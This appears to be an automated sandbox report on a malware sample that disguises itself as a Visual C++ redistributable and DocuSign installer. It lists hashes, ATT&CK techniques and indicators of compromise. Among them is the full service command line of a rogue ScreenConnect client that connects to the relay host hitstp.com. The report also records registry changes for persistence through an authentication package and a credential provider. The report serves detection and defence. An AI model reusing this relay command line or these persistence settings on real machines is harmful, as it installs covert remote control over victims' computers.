d4feee63e31b19aa8c19cc6805a97269edddfd6e6a860e8a13db5dc1a690b0a6

Analysis

max time kernel
150s
max time network
156s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
09/08/2026, 02:02

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-08-09_cae4bbb40d17d293a11f7ded4d448ccf_amadey_darkgate_elex_luca-stealer_lynx_njrat_play_ransomhub_remcos_smoke-loader.exe
Size 90.5MB
Sample260809-cf8fdaybpd
SHA256 d4feee63e31b19aa8c19cc6805a97269edddfd6e6a860e8a13db5dc1a690b0a6
MD5 cae4bbb40d17d293a11f7ded4d448ccf
SHA1 15ea9a118398bc24b3ad1e146d680e12e26acb4c
SHA512 ce4734a3401fa632f511e8d7987b18667d8e3fec58c99c846ba048450649457dab5e5a7daf22f4a983a5e35d37c4e0fadb6207b0b9620e8e288e3b00268a9f81
SSDEEP 1572864:v1PE7j6npx56Bu61eGv1pjg6pUe8tm5rDZjyTfvUM9GaTBIAiJxLook47Cua+e/k:vpE7W56I61H5g6/8teZOTfsMQbHxPB7h
TLSH
T1C5282330F60ACD36CD9605B09D7DEB6E612D7A790B2490CBB2D82D2D19B14E32736E53
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

discovery persistence privilege_escalation ransomware revoked_codesign

Malware Config

Signatures

Sets service image path in registry 3 TTPs 1 IoCs

This determines the executable launched when a service starts. It can be used to establish persistence.

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Windows Service

T1543.003

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Essentials\ImagePath = "\"C:\\Program Files (x86)\\ScreenConnect Client (3bde66a4a659618b)\\ScreenConnect.ClientService.exe\" \"?e=Access&y=Guest&h=hitstp.com&p=8041&s=1a745b55-77e0-477a-a1dc-372646efb8cd&k=BgIAAACkAABSU0ExAAgAAAEAAQB5pvd%2f0DKk64YAN%2b1fi1hQUZVQZI5oVgCR1OiCUWEAu38AQTb6ne29mBsdnBNrO%2bqHgwtHOkzc8Q9pIvUur65%2bE31wm3s92ZVYc8ldL2%2f9fRQCa8wgmfgcs3i2h3%2btTnnP9ZKoWWmxbpEmzgVwG9wzQCrhGLYFOA5WgnML8fM3x%2fzowFf2MUOegKyeXryhev%2fPjLoBn09uvZ%2bjTKeDhCekRTVTqXJEesGafJaCFYcbcLui0NJJbHV9w3Egkua6Cr4TtA%2fCMmxt1ziHZHSOiGUIWmMsoV2yhT%2f9ije%2fYrjaWrgOzvxsqbXhp9Il9bZotyo6M9pym4shuTVmfkF4gGXA&v=AQAAANCMnd8BFdERjHoAwE%2fCl%2bsBAAAAzOKhFb5twUewYxAtHCm0gwAAAAACAAAAAAAQZgAAAAEAACAAAABOb2xGTuV8MjIlfuWvV8ZpNGZkhxXTuzfgUyW%2fYKSUdwAAAAAOgAAAAAIAACAAAADAwPj0p8nTwngZJ8L1uSZqTqaa3cTUqPebvupEn4qucKAEAABmILaoE5FpRIlwdTXRdLi2iNXZARyarhWWGiIa2GvKlY99ZYmFTkKopValKIxLudZ1jCN65Y3OXdg7BN%2f4q%2bU8rTke8DKkSWRxn18Kj08YDpmF%2bXYuFDltlBwfVRWU0knItSxl6mhW2rpRxYDubilYzDE1f6Hx73Fco2tKq6qCORSIXVY14yVVa662WL2xuF%2fvvXL%2b3zMZTuFwJjAoClMjTDuSkT573nytNSwf1MdtaLwrvzsCFA1zPkf2K2aXvNzmRx1nmMmGBCnGn0Yvp1clr4%2f5KFPj7tt99SsgEdS11vRcmvWqkpHsWYMmY9M7RoMPRHp2HE6kC14e3vTI4hWNLriHMtGpHstq4cwansoIS3ljKQGnHa%2bOlmRxalvgx1sDbaU7SoTvrW6EBqmWJ9HRNRqWAwmccQNZAIZ4O6WIwO7uBm0uBIuJaAVsCwWsF8shuQMzGwGj1Bjd1%2bcGD31eOpAiAHSLSSGN6g7lHGpoPlwhDe6ZkdC30uBfVcP%2ffsdzw00A17T6aUKTE1cYejhKbzgxko52w1h22sjdtVdLL1roGNrV0TAsUMJGo5QyQtu%2btvRSl66jK3ZQs7w7TEZD4t9FDce1BEKsxAALqWsfqYVLVBq3yKasddOP9pm%2f8qUwMvZK2Ekz8rsEEBQ1EONvGQQmduHaLort1bjPdeJtT%2bTeEANfummD5CKEq5Prm%2biyKhUs8FYSboh4HPAcALEuy1R01xIuNdZSUV1D92ZZ9CuS4ivr0mqEwxCTfT9VkcdcfbXPOtHZ5NbeVcT0FzobjYpjIjVJAAUaCnJoIgwunMyeYA2HDOXIR35JyHBPiJfPMW7q0mZogbrUkJCrwEJgRlEgOZ%2fJd7FWBpcCIm5X5f9fj2BFNa7fY5d08gHsPfOiYjb4%2b1kImibvMCY%2b10leIsKEeTheR5i60Oy%2fTcvbBx0fsbsr6W99k0pMp%2f%2b0I%2blPlLU75AxcUCU9Euc4cKM0h6sMRfpzBCp9KDuh5ycJ7Ra38CU0J6JTmSSSoXFEEuRyRAkHD7Ce2zk3rU30Qkb00nD8rdyVDpZ%2bTvwN%2fr7GC4QqnXjn1Yp%2bbfnmUwz63XyztdBDokWcGTdQPhQ%2b6RFYr5EuhFXTvzolRvNjc0gze1lua2FZMTzf1MTxKZHxrFFFIzK2QJ3nYI2j7DNbbJhdtGJc1zBJraexF2J%2b0hiU0%2b2YkYLMS52BjTcEsP6C%2fVCfbGyNHtm7Lk61F6FfgCPxuBzDCEUYq7hsx4XoFgHlXjfIb0xc52E4VhU%2bwy0uPYjOMzyBaPkCa4tXEjkzyEg0qGqCp1lZFU%2fUr7uqyTVde%2bJLWOhFHAAcS8pXVcLtiBumswAqNDn7DpWCPK%2f%2fH8jtmAzC3uz3UHp5HncyRq15Ewk62Zvdoly4%2fu3A3widhoZoIzusQw9aOMvkU%2fen9CVYbZbcKvJ%2bZJgdAT2PECRdmhBTlPkaosmLeO56WZN7tXVljRNCtn4k42XM64IlfXKHMoe03sGiGfTxcHXDzGOV1Da2m%2bCrEWcYQJul7QNZrIOvyrXzEMgZ%2fQb91DSskUuUwV49HVHmi7uDplgl9525d0AAAACJXaaNWFZ32Z2UvDFKeAsLJe1flrZfcuvUzSV4KZ8KEkNNPFWl9ZlwtabqYNLS6%2bbRYhJtl8Fm5dOR3iZ3sEtd\""	ScreenConnect.ClientService.exe

Signed with revoked ConnectWise certificate 2 IoCs

Binary is signed using a ConnectWise certificate revoked for key compromise.

revoked_codesign

resource	yara_rule
behavioral1/memory/1872-207-0x00000000043E0000-0x00000000044B5000-memory.dmp	revoked_cert_connectwise
behavioral1/files/0x0007000000024444-206.dat	revoked_cert_connectwise

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000\Control Panel\International\Geo\Nation	vc_redist.x64.exe

Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
persistence privilege_escalation

Component Object Model Hijacking
T1546.015

Executes dropped EXE 5 IoCs

pid	Process
4704	vc_redist.x64.exe
1324	vc_redist.x64.exe
4728	VC_redist.x64.exe
1872	ScreenConnect.ClientService.exe
1672	ScreenConnect.WindowsClient.exe

Loads dropped DLL 23 IoCs

pid	Process
1324	vc_redist.x64.exe
3456	MsiExec.exe
3964	rundll32.exe
3964	rundll32.exe
3964	rundll32.exe
3964	rundll32.exe
3964	rundll32.exe
3964	rundll32.exe
3964	rundll32.exe
3964	rundll32.exe
3964	rundll32.exe
3456	MsiExec.exe
4072	MsiExec.exe
1872	ScreenConnect.ClientService.exe
1872	ScreenConnect.ClientService.exe
1872	ScreenConnect.ClientService.exe
1872	ScreenConnect.ClientService.exe
1872	ScreenConnect.ClientService.exe
1872	ScreenConnect.ClientService.exe
1872	ScreenConnect.ClientService.exe
1872	ScreenConnect.ClientService.exe
1872	ScreenConnect.ClientService.exe
1872	ScreenConnect.ClientService.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Enumerates connected drives 3 TTPs 23 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe

Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

Suspicious Windows Authentication Registry Modification.

persistence privilege_escalation

Authentication Package

T1547.002

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Lsa\Authentication Packages = 6d007300760031005f003000000043003a005c00500072006f006700720061006d002000460069006c00650073002000280078003800360029005c00530063007200650065006e0043006f006e006e00650063007400200043006c00690065006e00740020002800330062006400650036003600610034006100360035003900360031003800620029005c00530063007200650065006e0043006f006e006e006500630074002e00570069006e0064006f0077007300410075007400680065006e007400690063006100740069006f006e005000610063006b006100670065002e0064006c006c0000000000	msiexec.exe

Drops file in System32 directory 18 IoCs

description	ioc	Process
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (3bde66a4a659618b)\nvgzecwb.tmp	ScreenConnect.ClientService.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (3bde66a4a659618b)\lytfu24z.newcfg	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (3bde66a4a659618b)\a3z24zhh.newcfg	ScreenConnect.ClientService.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (3bde66a4a659618b)\a3z24zhh.newcfg	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (3bde66a4a659618b)\yiaxu0qs.tmp	ScreenConnect.ClientService.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (3bde66a4a659618b)\24fevzgl.newcfg	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (3bde66a4a659618b)\lytfu24z.newcfg	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (3bde66a4a659618b)\yiaxu0qs.newcfg	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (3bde66a4a659618b)\ahkplzjj.tmp	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (3bde66a4a659618b)\a3z24zhh.tmp	ScreenConnect.ClientService.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (3bde66a4a659618b)\user.config	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (3bde66a4a659618b)\24fevzgl.tmp	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (3bde66a4a659618b)\nvgzecwb.newcfg	ScreenConnect.ClientService.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (3bde66a4a659618b)\nvgzecwb.newcfg	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (3bde66a4a659618b)\lytfu24z.tmp	ScreenConnect.ClientService.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (3bde66a4a659618b)\yiaxu0qs.newcfg	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (3bde66a4a659618b)\ahkplzjj.newcfg	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (3bde66a4a659618b)\24fevzgl.newcfg	ScreenConnect.ClientService.exe

Drops file in Program Files directory 23 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\ScreenConnect Client (3bde66a4a659618b)\ScreenConnect.WindowsBackstageShell.exe.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (3bde66a4a659618b)\ScreenConnect.WindowsClient.exe.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (3bde66a4a659618b)\Client.en-US.resources	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (3bde66a4a659618b)\ScreenConnect.Core.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (3bde66a4a659618b)\ScreenConnect.Windows.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (3bde66a4a659618b)\ScreenConnect.WindowsBackstageShell.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (3bde66a4a659618b)\ScreenConnect.WindowsFileManager.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (3bde66a4a659618b)\Client.resources	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (3bde66a4a659618b)\ScreenConnect.WindowsCredentialProvider.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (3bde66a4a659618b)\ScreenConnect.WindowsFileManager.exe.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (3bde66a4a659618b)\app.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (3bde66a4a659618b)\system.config	msiexec.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping2348_1829448940\manifest.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping2348_1877032021\manifest.json	msedge.exe
File created	C:\Program Files (x86)\ScreenConnect Client (3bde66a4a659618b)\ScreenConnect.Client.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (3bde66a4a659618b)\ScreenConnect.WindowsAuthenticationPackage.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (3bde66a4a659618b)\ScreenConnect.WindowsClient.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (3bde66a4a659618b)\ScreenConnect.ClientService.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (3bde66a4a659618b)\Client.Override.resources	msiexec.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping2348_2060829510\manifest.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping2348_1829448940\protocols.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping2348_1877032021\nav_config.json	msedge.exe
File created	C:\Program Files (x86)\ScreenConnect Client (3bde66a4a659618b)\ScreenConnect.ClientService.dll	msiexec.exe

Drops file in Windows directory 22 IoCs

description	ioc	Process
File created	C:\Windows\Installer\e582e8d.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI3004.tmp-\ScreenConnect.InstallerActions.dll	rundll32.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI398C.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\{E9D28C83-851D-9143-6B3D-4116F1E73061}\DefaultIcon	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI3004.tmp-\Microsoft.Deployment.WindowsInstaller.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\MSI3004.tmp-\ScreenConnect.Windows.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\MSI3004.tmp-\Microsoft.Deployment.Compression.Cab.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\MSI3004.tmp-\CustomAction.config	rundll32.exe
File opened for modification	C:\Windows\Installer\MSI37D5.tmp	msiexec.exe
File created	C:\Windows\Installer\e582e91.msi	msiexec.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI3004.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI3004.tmp-\ScreenConnect.Core.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI3834.tmp	msiexec.exe
File created	C:\Windows\Installer\wix{E9D28C83-851D-9143-6B3D-4116F1E73061}.SchedServiceConfig.rmi	MsiExec.exe
File opened for modification	C:\Windows\Installer\e582e8d.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI3004.tmp-\Microsoft.Deployment.WindowsInstaller.Package.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\MSI3004.tmp-\Microsoft.Deployment.Compression.dll	rundll32.exe
File created	C:\Windows\Installer\SourceHash{E9D28C83-851D-9143-6B3D-4116F1E73061}	msiexec.exe
File created	C:\Windows\Installer\{E9D28C83-851D-9143-6B3D-4116F1E73061}\DefaultIcon	msiexec.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 9 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2026-08-09_cae4bbb40d17d293a11f7ded4d448ccf_amadey_darkgate_elex_luca-stealer_lynx_njrat_play_ransomhub_remcos_smoke-loader.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	vc_redist.x64.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	vc_redist.x64.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	VC_redist.x64.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ScreenConnect.ClientService.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
4808	msedge.exe

Checks SCSI registry key(s) 3 TTPs 5 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr	vssvc.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\PartitionTableCache = 0000000004000000ee0681d78f5363a20000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000c01200000000ffffffff000000002701010000080000ee0681d70000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d01200000000000020ed35000000ffffffff000000000700010000680900ee0681d7000000000000d012000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0ff350000000000000005000000ffffffff000000000700010000f8ff1aee0681d7000000000000f0ff350000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0ff3a0000000000000005000000ffffffff000000000700010000f87f1dee0681d7000000000000f0ff3a00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\SnapshotDataCache = 534e41505041525401000000700000008ec7416a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	msedge.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Modifies data under HKEY_USERS 11 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	ScreenConnect.ClientService.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\27\52C64B7E	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	ScreenConnect.ClientService.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	ScreenConnect.ClientService.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134307145927084203"	msedge.exe

Modifies registry class 40 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-06D2-AFAB554A76C8}\ = "Essentials Credential Provider"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-06D2-AFAB554A76C8}\InprocServer32\ = "C:\\Program Files (x86)\\ScreenConnect Client (3bde66a4a659618b)\\ScreenConnect.WindowsCredentialProvider.dll"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\38C82D9ED1583419B6D314611F7E0316\InstanceType = "0"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\38C82D9ED1583419B6D314611F7E0316\AuthorizedLUAApp = "0"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\38C82D9ED1583419B6D314611F7E0316\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\DocuSign_a8736463\\"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\38C82D9ED1583419B6D314611F7E0316\SourceList\Media	msiexec.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\38C82D9ED1583419B6D314611F7E0316\Clients = 3a0000000000	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-3bde66a4a659618b\shell\open\command\ = "\"C:\\Program Files (x86)\\ScreenConnect Client (3bde66a4a659618b)\\ScreenConnect.WindowsClient.exe\" \"%1\""	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\CBF989D2D60232EBB3ED664A6A9516B8	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\38C82D9ED1583419B6D314611F7E0316\SourceList	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\38C82D9ED1583419B6D314611F7E0316\SourceList\Media\1 = ";"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\38C82D9ED1583419B6D314611F7E0316\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\DocuSign_a8736463\\"	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\Software\Classes\sc-3bde66a4a659618b	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-3bde66a4a659618b\UseOriginalUrlEncoding = "1"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\38C82D9ED1583419B6D314611F7E0316\ProductName = "Essentials"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\38C82D9ED1583419B6D314611F7E0316\PackageCode = "38C82D9ED1583419B6D314611F7E0316"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\CBF989D2D60232EBB3ED664A6A9516B8\38C82D9ED1583419B6D314611F7E0316	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\sc-3bde66a4a659618b\shell\open\command	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-3bde66a4a659618b\shell	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\CLSID\{6FF59A85-BC37-4CD4-06D2-AFAB554A76C8}	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\38C82D9ED1583419B6D314611F7E0316\Language = "1033"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\38C82D9ED1583419B6D314611F7E0316\Assignment = "1"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\38C82D9ED1583419B6D314611F7E0316\DeploymentFlags = "3"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-204488895-2999877624-296153668-1000\{810E53F5-24A3-4471-B525-FAE57DBEE0E5}	msedge.exe
Key created	\REGISTRY\MACHINE\Software\Classes\CLSID\{6FF59A85-BC37-4CD4-06D2-AFAB554A76C8}\InprocServer32	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\38C82D9ED1583419B6D314611F7E0316	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\38C82D9ED1583419B6D314611F7E0316\SourceList\Net	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-3bde66a4a659618b\URL Protocol	msiexec.exe
